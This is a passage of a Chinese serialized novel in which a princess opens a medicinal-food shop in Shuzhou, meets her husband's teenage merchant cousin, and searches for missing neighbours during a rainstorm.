这几日忙着仁清堂的事，整日忙得脚不沾地，就连思念，只能夜晚看着一天比一天枯萎的荷花发一会儿呆。
昨日闭合的花苞落下最后一片粉色的花瓣，只留下三根光秃秃的杆。
现在，她正在按照拟定的药膳谱描写木牌。
毓心从外面回来，看见李意清专心描写，没敢出声打扰。
昨日刚刚选定店面，明光街的中央，门口人来人往，客流不少。
店面是二层的楼，中央围着一个露台，双侧梯子朝上，很是气派。
这样大的店面，光靠她和茴香自然收拾不完，现在正在找临时帮工帮忙收拾。
李意清描写完最后一个，将它置于空地上等字迹干透。
毓心再次从屋里路过时，看见的就是李意清正在小心裁着红绸，一个个将木牌绑上红绸。
等到了门口，隔壁的刘阿婆忽然不管不顾地冲了进来。
“你看见舒窈了吗？还有荇儿，淇儿，我都找不到了。”
她的声音中满是焦急。
李意清愣了一瞬，立刻眼神示意毓心去隔壁看看。
刘阿婆嚷着道：“不在，他们都不在家中。姑娘，你去找找他们好不好？”
曾经很多年前，她的孙儿也就是好端端在家中不见了，后来再也没找到。
毓心敲门的声音乒乓作响。
没过一会儿，毓心跑了回来，“在呢，都在呢，在后院。”
她的身后，跟着一道过来的江舒窈。
江舒窈的脸色依旧苍白，这几日她把自己闷在屋中，本就纤弱的身子更显得一吹就倒。
她跟在毓心的身后不紧不慢地走着，走到刘阿婆的面前，先是唤了一声“阿婆”，然后用帕子捂着嘴角轻咳。
刘阿婆紧张道：“你怎么了？”
“不碍事，”江舒窈轻轻摇了摇头，目光温柔，“只是着了凉。”
只是着了凉。
六月正中，日热似火炉，她却说着了凉。
刘阿婆忍不住鼻酸得厉害。
江舒窈看着刘阿婆关心地抱着她，愣了一瞬，才迟疑地回抱。
她以前靠近刘阿婆，动作从未有过迟疑。
李意清注意到了江舒窈鞋面上干掉的泥。
泥已经干了，呈现出一种灰白，不止沾在鞋底，连斜面都有。
江舒窈去过什么湿润的泥地吗？
李意清脑海中的疑窦一闪而过。
江舒窈闭着眼睛，声音轻柔地安抚刘阿婆，“阿婆。你放心，我会越来越好，会越来越好。”
她很轻地说完“越来越好”后，又重复了一遍，像是说给自己听。
这句话成功地安抚了刘阿婆不安的内心，她微微放下心来。
静了片刻，刘阿婆才想起刚刚去叩门无人应答，踮脚朝里看也什么都没有，静得像是无人居住。
“那刚刚？”
江舒窈伸手将散落的一丝头发别到耳后，“刚刚在后院教荇儿写字，没有听到响动。让阿婆担心了，是我不好。”
她说的坦荡，刘阿婆这才放下心，随后就是细细的叮嘱。
“以后不管做什么，都应答一声，喊门没人回应，你知道我有多担心吗？”
江舒窈连连点头。
此事算是有惊无险地过去。
刚好时间快到晚膳，李意清顺势道：“我随你去把荇儿和淇儿抱过来吧，他们也一道吃顿晚膳。正好，我也很久没看见他们两个了。”
江舒窈笑着道：“荇儿知道你忙，懂事了不少，她现在正在家中练大字，待会儿给她带一些回去就是了。”
说完，她又补充了一句，“等过两日，我再带她上门叨扰。”
李意清不好再多说什么。
用了饭后，她们都各自离开。
院中只剩下李意清和毓心。
沉默了一会儿，李意清才小声问：“毓心，你有没有觉得舒窈姐姐
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有点不一样？”
毓心：“有吗？殿下你是说哪一方面？”
李意清摇了摇头：“我说不上来。”
毓心：“殿下你可能就是想太多了。殿下你想啊，江姐姐遇到那么大的事情，怎么可能说放下就放下，自然和以前略有区别。不过她自己也说了，以后会越来越好。”
“……或许吧。”李意清声音很低，“但愿是我多虑了。”
毓心看着李意清低落的神情，主动转移了话题，望着巷子里的动静，“殿下，驸马现在还没有回来，今日还能回来吗？”
李意清：“不知道，或许今日有事耽搁了。”
她的话音刚落下，箱子里忽然传出一阵动静。
一人一马，步履匆匆。
那人穿着衙役制服，从马背上跳下来，对李意清道：“夫人，有信。”
李意清拆开看后，信一如既往的简短。
“推辞三日许，安好勿念。”
李意清看完后，抬头看向了衙役。
“他怎么样？”
衙役摸了摸鼻尖，简要将此事概述，“夫人，大人在怀松县查到了人贩子的踪迹，不过那些贼人太过狡诈，大人受了些轻伤。”
李意清立刻蹙紧眉间。
衙役连忙解释道：“不严重，受了些轻微伤，那群贼人对怀松县地形熟稔，否则即便再多一倍，也难以伤到大人。”
他说完，朝李意清拱了拱手道：“那群贼人被知州大人打散后溃散而逃，大人本欲让怀松县令将城封住，谁知道那个县令和贼人沆瀣一气，实为一丘之貉。贼人四散而开，走投无路下到何处都不稀奇。夫人要多加照顾自身——至少在这府城之中，城墙有府兵把守，应当是无虞的。”
李意清颔首：“我明白，你回去告诉他，我自当不给他添麻烦。”
衙役遇到这般好说话的人，松了一口气，朝李意清再一作揖。
“卑职还要去给府衙送信，先行告辞。”
说完，牵着马匹走出巷子，等路开阔，翻身上马。
在旁听了全程的毓心有些心神不宁，“殿下，洛石和茴香还在仁清堂忙活，现在天色这么晚了，我去喊他们回来。”
李意清：“我和你一块去。”
府城暂且安宁，可是多一个人，总比一个人走夜路安全一些。
毓心没有推辞，和李意清一道将门锁好后，两人出了巷子。
原先热闹的巷子熙熙攘攘，大伙儿一溜烟地朝着府衙门口跑。
“快去看，榜上贴着新布告！”
“听说本任知州大人发现了拐子贼窝，本来想要一举拿下贼首的时候，被怀松县的县令暗算了。”
“啊！真是作孽！这怀松县令什么来头，竟然敢公然使坏，他不怕祸及家人吗？”
“但愿知州大人无事。舒州苦拐子久矣，若是能一朝肃清，该多好啊。”
……
众人你一言我一语，李意清和毓心顺着人流，走到了府衙门榜前。
榜上的新布告刚被换上，边角还是未干透的糯米水。
上面提醒百姓出行注意，而百姓的关注点全在匪徒身上，看他们义愤填膺的模样，若是能给他们一件趁手的兵器，只怕个个都忍不住亲自上阵。
舒州苦人贩久矣，那些最激动的，也正是曾受其害的。
有一些能慢慢从悲痛中恢复，而有一些则被祸害得家破人亡。
正如刘阿婆。
130. 挂匾
将榜上所有布告看完一遍后，李意清和毓心继续朝着明光街走去。
明光街是舒州府城最繁华的街市，一路上酒楼客栈，脚店银器，各式各样店铺鳞次栉比，高低错落。
夜晚中大红灯笼高高挂起，灯火相伴。
今晚的明光街和往常略有区别，三五步路，就能看到一身青衣的学子三两聚在一处，高谈阔论。
言辞之中，多是最近的巡邻新策。
还有一个多月就要秋闱，周边的学子差不多都已经陆续启程，赴往府城。
这是来得最早的一批。
虽然距离州试还有一个月，但是趁此机会来到府城，可以和不少同届考生交流心得，他们不会错过这个机会。
不少商户乐于见到学子站在自家门口谈诗论道，好似这般，就可以沾上一两分书生气息。因为对于这些书生，非但不曾驱赶，甚至招呼热茶相待。
谁知道未来的舒州解元在不在这帮学子里面呢。反正就一杯水的事，宁愿讨个好意头，也不可轻易得罪。
李意清和毓心穿过半条街道，走进了仁清堂中。
堂内，毓心和洛石正在将今日用过的抹布和水桶整理归位，看到李意清她们亲自来找，摆了摆手。
“殿下，快好了，你随意找个座椅坐会儿。”
两人加快了手上的动作，摆放整齐后，茴香拍了拍手。
“好了，再等一会儿，我们就能走了。”
李意清：“嗯？”
“杜掌柜说仁清堂现在没人看管，主动提出要夜里留在这里看着。”茴香解释道，“毕竟防人之心不可无，说不定就有一些铺子老板做坏事搞破坏。”
她这句话并不是无的放矢，前两日购了一些砖石准备砌在仁清堂后厨，只在门口放了短短两柱香时辰，原先好好的砖石上就被人吐了几口唾沫。
不是大事，即便报官也没什么水花，可就是让人膈应得很。
原来如此。
李意清闻言，轻轻点头。
几人等了一会儿，才看见一身灰裳的杜于泉小步跑过来。
他怀中抱着一张薄褥，神色诚恳道：“抱歉抱歉，今日看药方入了迷。”
茴香：“无妨无妨。既然杜掌柜来了，我们可就先走了。”
杜于泉看见李意清，愣了一瞬，然后快速点头，“好，好，这里有我看着，诸位不必担心。夜幕天黑，你们路上注意安全。”
茴香忍不住笑：“杜掌柜，你怎么一会儿让我别担心，一会儿让我们多注意。”
杜于泉低头不语。
他自己自然是无关紧要的，可是她却不是。
茴香只是调侃一笑，见杜于泉耳垂通红，歇了逗弄的心思。
四人一道回去。
*
又过了两日，仁清堂算是彻底打扫干净，桌椅摆放整齐，只要人招齐了，随时可以开张。
茴香道：“殿下，现在虽然不能开业，却能挂匾，你去看一眼嘛。”
“仁清堂”的额匾已经做好，挂上去后，仁清堂才算真真切切有了实感。
李意清正在看书，闻言用书卷在她额头上轻轻一敲，“急什么，现在挂上去了，也是要覆着红绸。”
茴香任李意清用书卷轻点她的脑袋，抱着她的双腿小声摇头撒娇。
“殿下殿下，求你了，好不好嘛。”
这可是他们第一次自己开的店铺啊。
李意清被她磨得没办法，笑着颔首：“好好好，去吧，依你。既然是喜事，午食在外面吃吧。”
茴香没想到还有这样的意外之喜，连连点头。
“你先去和舒窈姐姐和刘阿婆说一声。”李意清道，“我先换身衣裳。”
等两人都是妥当赶到明光街，正看见仁清堂门口围着一群书生。
他们衣冠整洁，手持折扇，窃窃低语。
李意清走到毓心身边，问：“这是做什么？”
毓心压低了声音：“这是洛石和杜掌柜想出来的法子，挂匾扬名，对诗一首，请喝状元酒。”
李意清：“状元酒？”
“一种取名方式罢了。比如定胜糕、高粽，进士及第宅，状元酒也是图一个好彩头，”毓心踮着脚看着外圈的热闹，“而且咱们这个状元酒，可是实打实的童叟无欺。殿下你看，那就是额匾。”
李意清顺着她指的方向看过去，一块长六尺宽八寸的木板被人抬了起来。洛石和杜掌柜自觉招呼架着木梯的人，一声爆竹响后，匾额被人挂在了门顶。
正楷落笔“仁清堂”，大气而端庄。
旁边落着一行小字，“问诊”、“药膳”、“抓药”。
旁边有不明者好奇问这“药膳”是什么，立刻有在此听了半响的人主动回答：“那可是好东西，医书里写的食补，就是将滋补养人的药材和吃的饭菜相结合，能调理身体，强健体魄……”
几人叽里呱啦一通解释，那人渐渐明白。
府城人大多有点小钱，对这样的新事物也充满了好奇，闻言立刻朝着上首的洛石喊道：“店家，你们哪天开门啊？”
洛石看着面前一个个面露好奇的人，清了清嗓，“最迟下个月底开业。各位要是有空，请多多前来捧场，届时每人送上一碗乌梅汤。”
听到有东西相送，地下立刻一阵喧嚣。
杜于泉任他们小声交谈，等周边围过来的人越来越多，抬高声音道：“诸位，今日小店挂匾，特意准备了一些状元酒用以取乐。在场学子吟诗一首，即可获得一碗，魁首者可得白银三两，略作缠资。”
书生本就已经充满好奇，听到三两白银，更是个个摩拳擦掌。
“各位，我就先献丑了。”率先走出来的是一个二十出头的年轻人，在场环绕一圈作揖后，清嗓道，“药香飘逸绕梁间，香气袭人醉心田。
满目琳琅皆良药，室中静谧远尘喧。”
他的话音一落，就收到一片叫好声。
杜于泉说话算话，干脆利落地伸手揭开了酒坛的红封，满上一瓷碗后，递给吟诗的书生。
气氛瞬时被点燃，原先还在观望的书生立刻踊跃起来。
“宝瓶玉匣藏珍异，金杵银臼捣琼芳。”
“……”
就连来观看的路人，也忍不住跃跃欲试。
有一个老汉嘴馋那一碗酒水，主动搭话：“小郎君，我等作诗做不做数？”
旁边有书生轰然大
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笑，“你知道平仄韵律吗，就敢自请作诗。”
老汉：“小老儿会不会，诸位听着就是……闹市喧嚣一隅间，药坊新启客如川。红炉慢炖千金药，白瓷轻盛百味鲜。”
原先还淡淡的李意清立刻忍不住抬头望去。
老汉吟完后，摇头晃脑看着哑口无声的众人，“小老儿这诗，如何？”
原先笑话他的书生面色绯红。
他们大多只将目光聚焦在药房上，而这位老者，却点出了药膳。
“老汉高才。”
几人纷纷拱手。
胜负已出，洛石爽快地将三两白银递到了老汉的手中。
旁边的书生或叹息，或摇头，准备散开的时候，忽然听到杜于泉道：“诸位学子乃未来大庆栋梁，我们东家说，每人赠一斗米字据。诸位可凭借这字据，前往大庆任意元家米庄换一斗米。”
元家的米庄遍布大江南北，这字据他们都有所耳闻，却都不知道获得的方法。
李意清愣了一瞬，看向毓心，“这是谁的主意？”
毓心朝她眨了眨眼，并不多说。
原先垂头丧气的书生立刻抖擞精神，出门在外，一要金银盘缠，二要粮食温饱，三两白银弄不到，这一斗米也是好的。
门前的人好一会儿才散开。
期间李意清饮了两杯酒水，状元酒不算烈，她神色自然。
等人散开，李意清才道：“今日这事儿，还有字据，怎么回事？”
洛石和毓心没有说话，杜于泉左看看右看看，见无人应答，主动道：“姑娘，不是你安排的吗？”
他用眼神示意二楼。
李意清怔了一刹，抬头朝二楼望去。
二楼，一个身穿青衣，面若冠玉的翩翩公子旋开折扇，浅笑盈盈望着楼下。
见李意清望过来，他“刷”地一声收起了折扇，步履轻盈走下楼来。
“嫂嫂，初次见面，还未自我介绍。”公子朝李意清轻轻俯首，“在下元家旁支元禄后嗣，元尧臣。受族兄委托，特来相助。”
原来是元辞章请来的人。
李意清回了半礼，然后道：“仁清堂之事，还请尧臣堂弟多多费心。”
元尧臣说得风轻云淡：“嫂嫂放心，我十一岁随父兄经商，迄今已经六年。目前手底下十三家金铺，二十二家布坊，十八户米庄，算得上小有所成。日后我会竭尽全力帮助杜掌柜，早日独当一面。”
他语气平静，似乎并不觉得自己的成绩有多么傲人。
每一句话落下，杜于泉的头就埋得更低了几分。
别人家的十七岁啊。
等元尧臣说完，他稳了稳心神，认真道：“多谢元小兄弟，我一定好好学习。”
元尧臣摆了摆手，“不必这么见外，我年纪略小，你们都叫我尧臣就是。”
杜于泉从善如流，“尧臣……尧臣兄弟。”
元尧臣没在意，而是紧紧盯着李意清。
说起来，这还是他第一次见到兄长的妻子。
去年两人回到江宁住了半载，他正好和父兄远在青州，现在可算是能好好看看到底是何方仙子，才能让自家那个清冷圣人兄长都忍不住坠入凡尘。
131. 元尧臣
李意清当然注意到了元尧臣落在她身上的视线。
元尧臣的眼神很直白，却让人感觉不到冒犯，只有纯粹的好奇。
像是一个初入外界的小兽，用自己的嗅觉一点点探索未知的前方。
李意清故作镇定的任他打量。
元尧臣常年经商和人打交道，感知是一等一的，察觉到李意清的不自在后，立刻主动收回视线。
他天生一张笑脸，眉目向下，却带着几分少年人的张扬傲气，嘴角的笑意自信：“今日之事，名为预热，世人常说酒香不怕巷子深，可是再好的酒放在深山老林，也难觅知音，故而我称它为——敲锣打鼓告天下。”
元尧臣的声音一本正经，可有在断句处散出几分笑意，一时间让人听不出来是真是假。
杜于泉立志好好学，闻言，立刻从袖中拿了炭笔和纸，记了下来。
元尧臣看到他的动作，眼底的笑意更盛了几分，“此为元氏不传经商录精华，普通人听到一二，都算赚到。”
茴香小声惊叹了一声，小声喃喃：“《元氏不传经商录》，这是什么？我怎么从未听说过，是谁所书？”
元尧臣耳力极好，听到茴香的疑问，拨弄着自己的折扇，语气高深莫测。
“既然是不传，你们怎么会知道？”
茴香：“也对哦。”
“不过，”元尧臣忽然笑出了声，笑容灿烂，“是谁所书——远在天边，近在眼前！”
茴香愣了一拍才反应过来，气急败坏道：“什么啊，原来是你啊。”
元尧臣故作矜持地略一点头，“正是不才在下。虽然我父亲常说，我这是一排胡言。可是我当真打心底里认为是对的。嫂嫂，你觉得呢？”
李意清突然被点名，愣愣地点头。
她这副模样显然很不对劲。毓心伸手扶住摇摇欲坠的她，神色紧张。
元尧臣瞥见桌上的酒杯，心下了然，“这状元酒闻着纯雅清甜，可是酒劲却是一般烈酒都比不上的。嫂嫂这是醉了啊。”
李意清后知后觉反应过来自己现在的症状，确实很像醉酒。
她伸手揉了揉自己的额头，小声对毓心道：“走来之后略微口渴，才饮了两杯而已。”
听到的醉酒，毓心放下心来，听到李意清孩子气的碎碎念，立刻道：“……姑娘，这可是酒，你还当成白开水不成？”
李意清软软地趴在毓心的肩膀上。
两年多不常喝酒，酒量下降确实不止一星半点。
想当年宫廷酒宴上，她一人能喝过太子、二皇子、月阳郡主等人。
元尧臣看李意清这副模样，心中略懂元辞章为何也忍不住动了心。
“冲些蜂蜜水来喝，过会儿就不晕了……堂中可备了？”
“有，有，最近刚好采买，”杜于泉连连点头，“我去冲泡。”
茴香跟在后面，“哎，我跟着你去。”
两人去了一会儿，泡好水，回来喂到李意清的口中。
蜂蜜水甜丝丝的，李意清原先还需要毓心帮忙一勺一勺喂，尝到味道后，主动端过瓷碗，一饮而尽。
休息了一会儿，脑袋中眩晕的感觉才消散不少。
他们都坐在四方桌上，对面的元尧臣撑着下巴，眼底星星点点的笑：“嫂嫂，若是还没有恢复好，再休息一会儿也可以。”
李意清呼出一口气，声音尽可能的放平静：“没事。还没吃午饭吧，尧臣初来舒州，我理应接风洗尘，恰好今日也是挂匾的日子，一道去望仙楼吧。”
茴香欢呼一声。
一行人浩浩荡荡走到了望仙楼下，才反应过来，自己就是准备开药膳生意的，此刻却跑到了望仙楼庆贺。
最木讷的杜于泉也忍不住笑了出来。
“这可真是……”
不过来都来了，几人还是去了二楼要了一个雅间，点上不少好菜。
等菜上齐，元尧臣看了一眼桌上的菜色，小声道：“还没有我的厨艺好。”
放菜的小二：“什么？”
洛石眼疾手快，一把拉住元尧臣，转头对小二道：“没事儿，他自言自语呢。”
小二瞥了元尧臣的后脑勺一眼，转身离开了雅间。
元尧臣：“本来就是。”
洛石：“是是是，你厨艺好。可是在人家地盘上这么说，会不会太嚣张了。”
元尧臣闲散地拿起桌上的筷子，偏头漫不经心地笑：“你知道我打理那么多产业，为何单单还未尝试过酒楼生意吗？”
洛石：“？”
他看着元尧臣，小声猜测道：“总不会是你觉得请来的厨子师傅手艺都不如你，你活生生把人气走了吧？”
元尧臣：“答对了。”
“……”洛石立刻转头看向李意清，“姑娘，这样的掌柜，我们仁清堂庙小，可容不下这样的大佛。”
药膳药膳，本就是食物的一种，若是任有元尧臣挑三拣四，指指点点，店干脆就不要开了。
元尧臣“哎”了一声，一边手指灵动地转着筷子，一边道：“别急嘛，我既然接受了兄长的委托，必然会将这件事办的尽善尽美。嫂嫂，你可千万要信我啊。”
落入李意清的耳中，像是在说“嫂嫂，你不会不要我吧”。
见李意清依旧没有表态，元尧臣道：“你放心，我非但不会挑拣，还会尽可能多加指点，即便是药的苦味，我也让它在我手中开出花来。”
杜于泉紧张道：“那可是药，治病救人的东西，你可千万别乱来。”
“我知道我知道，我又不是傻子。”元尧臣望着李意清，“现在可以了吧？嫂嫂。”
盯着一双双炙热的视线，李意清咽下口中的一口菜，说的很中庸：“先试试吧。”
杜于泉和洛石还想再争辩，却被元尧臣挡了回来，“嫂嫂都说可以让我先试试了，你们还要说什么。哼，也不知道是谁本来捧着我，还说要跟我好好学，现在可倒好，一个两个，个个以大欺小，真是没天理。”
他语速不快不慢，平平静静甚至带着一丝委屈，直叫另外两个找不到插话的时机。
元尧臣说完，向李意清控诉，“嫂嫂你看，他们两个合起伙欺负我一个小
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孩子，这还没进仁清堂呢，以后进去了，哪还有我什么事啊。”
旁边的茴香忍了又忍，没忍住，扑哧一声笑了出来。
李意清则是重新审视面前的少年，看着斯斯文文的模样，实则是个唯恐天下不乱的性子，一张嘴可真会说。
不说洛石，杜于泉那般老实的人，也被他这三言两语气得脸红脖子粗。
杜于泉抬手，手指颤抖得不像样子，“你你你，你胡说。我们什么时候排挤你了。姑娘，你明鉴啊！”
在这里扰乱视线的，分明另有其人。
毓心看他随时可能撅过去的样子，主动道：“大家先吃饭吧，饭都要凉了。这道油焖笋丝清脆爽口，你们也都尝尝。”
此事才算是告一段落。
饭后，几人纷纷冷静下来。
李意清见他们都恢复了神志，伸手比了一个“一”。
“约法三章，尧臣不可随意指责厨师，只可以指导，非必要情况，不可与共事之人发生冲突。”
元尧臣：“那若是别人先来说我呢？”
“那就是必要情况，不可武斗，须先告诉我们。”
元尧臣做乖巧状点头：“好，嫂嫂，我告诉你。”
李意清无视了他的示乖，紧接着比出第二根手指，“凡仁清堂诸事，每月底共同商议，若意见不和，最终以我的主张为主。”
这一点，他们自然没有异议，立刻点头应下。
“三，无论任何时候，公事公办，不可随意将情绪带入工作，洛石，杜掌柜和元尧臣，你们三个更应该注意。”
元尧臣立刻表态：“好，我都听嫂嫂的。”
洛石和杜于泉也点了点头。
约法三章后，李意清才松了口气。
离开望仙楼时，李意清特意停顿两步，等杜于泉出来。
杜于泉受宠若惊。
李意清朝他微微一笑，“元尧臣是我夫君举荐，想来有真本事傍身，还希望杜掌柜莫要因为元尧臣今日的孩子话，断了学习的念头。”
杜于泉连连摇头，“这自当不会，姑娘不必担心。尧臣兄弟小小年纪经营那么多铺子，其能力可见一斑。日后堂中我一定向他好好学，他做掌柜，我专心帮他打下手。”
李意清道：“嗯，堂中应如此，打烊之后，随你们。”
她的尾音隐隐带笑。
杜于泉愣了一瞬，才琢磨过来。
原来觉得当时元尧臣说话欠揍的，并不止他和洛石。
他忍不住笑了笑，快速追了上去，洛石小声问他李意清找他说了什么，他摆手笑。
“姑娘只是让我别和一个小孩子计较。”
洛石大为赞同，“确实，十七的孩子，想当年我十七岁，还在……”
还在京城皇宫之中。
杜于泉正听着，听到洛石戛然而止，好奇追问，“十七怎么了？”
“没什么没什么，英雄不提当年勇。”洛石插科打诨，揽着杜于泉，“走吧走吧，再不快些，就跟不上他们的步伐了。”
说完，朝着仁清堂快步走去。
132. 雨夜寻人
在仁清堂待到了傍晚，李意清准备回清风居。
临出门的时候，元尧臣忽然追上来道：“嫂嫂，我孤身一人来到舒州，在这里无亲无故……以前我家中，父兄都会陪在我身边。”
他话中的意思太过明显。
李意清想到他做饭的手艺，眸光微闪，半响道：“过几日你兄长回来，到时候让他接你就是，刚好留下几日时间，好打扫厢房。”
元尧臣嘴角勾起，笑弯了眼眸。
“多谢嫂嫂。”
李意清说完，和毓心他们转身走上街道。
走到城东的时候，橘红色的夕阳渐渐变得暗沉，云层开始聚集，从远处山峦的轮廓边缘缓缓蔓延至头顶，厚重而低沉。
空气总弥漫着一股潮湿闷热的气息，是风雨欲来的征兆。
茴香忍不住加快了步伐，小声道：“快些回去吧，瞧着是要下上一场大暴雨。”
几人加快了步伐，刚走进梨花弄堂的时候，瓢泼大雨倾盆而下，四人竭力躲避，还是淋了个透湿。
站在廊下，乌云和黑夜融为一体，耳畔落雨声点点。忽然，一道闪电快速划开寂静夜空，惊雷声轰轰响起，像是远处蛰伏的巨兽，正在山野中亮出爪牙。
天地被短暂照亮，而后陷入更深的昏暗。
李意清用布帛擦干身上的水，隐约听到雨幕之中，夹杂着小孩的哭声。
“茴香，你有没有听到小孩的哭声？”
茴香正端着两碗姜茶走来，听到李意清的话，望着外头黑沉沉的雨幕，缩了缩脖子，“殿下，你说的怪吓人的。”
李意清伸手揉了揉自己的耳朵，凝神细听。
确实有小孩的哭声。
她放下手上的布帛，拿起靠在墙边的油纸伞，“我去舒窈姐姐家看一眼。”
“殿下，殿下！这么大的雨，等雨小些不好吗？”
茴香望着桌上还冒着热气的姜茶，跺了跺脚。
另一边，李意清叩门无果，伸手推门。
门只是虚掩着，没费多少力气，就被推开。
李意清绕过影壁，顺着长廊一路朝内，孩童的哭声越发明显。
她加快了脚步，推开四五扇门后，才看见独自躺在摇篮中的江淇。
一滴水珠顺着破损的屋顶滑落，滴在江淇的眉心。
惊雷闪过，江淇的哭声越大。
“舒窈姐姐！舒窈姐姐！荇儿！”
李意清大喊了几声，无人应答。
这么晚了，她们会去哪里。
李意清心中担忧，伸手将江淇从摇篮中抱起来。
不抱不知道，江淇的身上已然烧的滚热。
李意清吓了一跳，将江淇抱得更紧了些，拿起油纸伞就往回跑。
回去路上，看到出门来找的洛石。
洛石只戴了一个斗笠，雨水顺着他的帽檐滑下，颇有几分雨夜侠客的风范。
他看见李意清抱着的江淇，“果然，哭声并不是错觉。”
李意清道：“快回去，江淇身上滚烫。”
两人跑回房中，毓心看了一眼情况，面色难看了几分，一句话也没说，去了后厨煎药。
她煎药期间，李意清给江淇换了一身衣裳，然后才对三人道：“我去的时候，舒窈姐姐和荇儿都不在家。”
茴香皱紧了眉尖，“这么大的雨，她能去哪儿。”
李意清一面轻轻地拍打哭闹不休的江淇，一边担忧地看望深深的夜幕。
“洛石，你去隔壁院子问问刘阿婆，兴许刘阿婆知道。”
洛石闻言，二话不说钻进了雨幕。
半响后，洛石回来，“殿下，刘阿婆家中也没人。”
茴香：“怎么回事，好好地几个人大活人，还能凭空消失了不成。”
李意清当机立断，“茴香，你留下和毓心照看江淇，洛石，你和我一道去找她们。”
洛石：“殿下，现在雨这么大，你……”
李意清摇摇头：“我放心不下。”
一个六旬老人，一个还没出月子的妇人，一个几岁稚子，这么大的雨，能去哪里。
洛石见自己劝说不动，站起身跟在李意清的身后出去。
夜雨之中，原先热闹的街道也变得冷冷清清，积蓄的雨水来不及流出，在地面上形成一个个或大或小的水洼。
水洼波动着银白的冷光。
两人找了两个多时辰，将附近的巷子都找遍了，也没有别人的踪迹。
洛石看着李意清沾了雨水的发丝散在耳边，轻声安慰道：“殿下，或许，或许她们只是去了别处……”
他的声音越来越低。
一个丧夫丧子丧孙的老妪，一个被郎君欺骗的孤女，天下哪还有容身之处。
雨势渐渐变小，临近子夜，街道上安静得可怕。
“殿下，你先回去，我去城外看看。若是一有消息，我立刻回来禀告你。”洛石的视线落在李意清滴着水的袖袍上，这样下去，李意清也会病上一场。
他狠了狠心，一记手刀劈在李意清的身上，然后抱起昏迷的她几个纵跳，回到清风居。
毓心和茴香被李意清这副模样吓到。
“殿下怎么了？”
“没事，我把她敲晕了，”洛石解释了一句，“殿下今日淋了太多雨，你们给她换身衣裳，大概四五个时辰，她自然就能转醒。”
毓心这才放下心，伸手在李意清的额前和颈侧试了试温度，准备再煎一副汤药防范于未然。
见洛石送完李意清，还有要出去的架势，连忙问道：“那你呢？”
洛石道：“我还好，再去城外寻一圈就回来。”
不然李意清醒了，他没法交差。
茴香抿唇，“那你自己多注意些，自己的安全才是首要。”
这几日城外不太平。
洛石点了点头，头也不回地往外走，“知道。而且这舒州，有几人能是我的对手。”
他离开后，茴香安静地帮李意清换下淋湿的衣裳。
系好腰带后，茴香忽然“啊”的一声叫了出来。
毓心被她突如其来的一声吓的心跳停了一拍，心有余悸地拍了拍自己的胸口，“你突然大叫什么？”
茴香道：“我很生气。”
毓心：“你气什么？”
茴香：“我气殿下，总是顾着别人，我还气滕子鹤，不干人事，更气的是那个经济行老板，这宅子哪有他说的那么好。”
嘴上夸得比唱的好听，说什么安静清幽，文气汇聚，搬过来一看，一天天的，尽是些闹心日子。
毓心哑然。
茴香说完，有些心虚地看了一眼李意清，确认李意清没醒后，小声对毓心道：“我也就小声抱怨几句，你可千万别跟殿下说啊。”
“你放心，我知道
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的。”毓心笑了笑，良久，像是低低的叹息，“可是，这些苦难并不会因为殿下没有遇上，就会平白无故的消失。”
如果身处绝境，有这样一个人愿意拉自己一把，那该多好。
茴香没听见毓心小声的自言自语，见她只叹息了一声便闭嘴不语，不再追问。
*
另一边，雨水顺着洛石的蓑衣缝隙钻了进来，衣服浸水，愈发变得笨重难走。
城门已经关闭，今夜暴雨，守城的士兵都回到了营中躲雨，此刻哨台上空无一人，只剩下一簇摇摇晃晃的火苗。
火苗被风拉扯，看上去会随时熄灭在这寂静的深夜中。
洛石收回视线，脚尖轻点，顺着城墙一跃而出。
伸手不见五指的黑夜，一切都显得格外模糊。
洛石屏息凝神，顺着小路向城外摸索，可是夜太深太黑，他找的很吃力。
半个时辰过去、一个时辰过去，依旧一无所获。
放弃的念头一闪而过，洛石回头朝城墙方向望过去。
城墙上的烛火纤弱的挺立在风雨中，架构出小小的，一方温暖的天地。
洛石咬牙，朝着城外又走了两里路。
再往外走，就是长江，长江奔腾而下，将汇聚的雨水带去远方。
会流经江宁，又会流向秀州，最后进入东海，化作茫茫一片。
洛石踩着湿重的泥巴，忽然，顿住了脚步。
前面有一个小小的草庐。
洛石蹲下身，低头仔细确认。
这里曾经是一片稻田，草庐是农户在稻苗成熟季节的时候守夜小住的地方。不过这一块地在汛期就会被洪水淹没，渐渐地，原先的田地变成了荒地。
洛石听到的轻微响动，正是从草庐中传出。
他上前两步，年久失修的草庐不敌暴雨冲刷，已经变得摇摇欲坠。
洛石不确定自己方才听到的响动是有人，还是屋子坍塌前的低鸣。
“有人吗？”
洛石试探着喊了一声。
草庐内安静了片刻，忽然响起一道很细弱的声音。
“洛石？”
是江舒窈的声音。
洛石反应过来，立刻上前两步。
草庐破旧，外面下大雨，里面下小雨，她早就浑身湿透。
看见洛石的身影，江舒窈忽然哭了出来。
洛石手忙脚乱地将头顶的斗笠戴在她的头上，“江姐姐，你先别哭，荇儿呢？她在不在你的身边？”
江舒窈的哭声戛然而止。
“荇儿不在家中吗？”
洛石刚放下的心又猛地提起。
“我先送你回去。”
江舒窈：“不，我和你一道找。”
她一边说着，一边艰难地挪动脚步。
洛石好言相劝，“江姐姐，你淋了雨，情况很不好，况且你的腿脚还僵硬着，怎么能帮得上忙。”
江舒窈颤抖地扶着草庐。
“不，我要去找她，都是我的错，都是我的错。”
说完，迈着双腿艰难的前行。
洛石一时无言，他很想说，以她现在的状态能不能帮上忙另说，添麻烦的可能性更大。
可是他已经找了一夜，现在已经懒得开口再劝。
洛石正准备也给江舒窈背后来一下的时候，江舒窈先一步支撑不住，倒在地上晕了过去。
133. 虽死尤圆满
带着江舒窈回去的时候，毓心和茴香都已经支撑不住困意，坐在榻上睡着了。
他看了一眼像是从水里捞出来的江舒窈，推醒了毓心。
毓心看见江舒窈，有些惊讶，但是江淇和茴香还睡着，她伸手朝洛石比了比。
“找到荇儿和刘阿婆了吗？”
洛石摇头：“还没有。”
毓心有些泄气，然后起身，去柜子中找一套可供换洗的衣裳。
洛石主动走到廊下，甩了甩自己身上的水。
等毓心走出来说了一句“好了”，他才小声打了一个喷嚏。
毓心伸手探了探他的体温，他身上冷得冻人。
“你也回房换身衣服，等下不许出去了，先喝杯热茶暖暖身子。”
毓心不容置疑地说。
洛石看着窗外的夜，雨渐渐停了，但是水渠排沟的水还没有流尽，哗啦啦直响。
第二天日上三竿，沉睡的几人才纷纷转醒。
李意清最先醒过来，背后还一阵发疼，她一面伸手轻按自己的后背，一面推开房门走了出去。
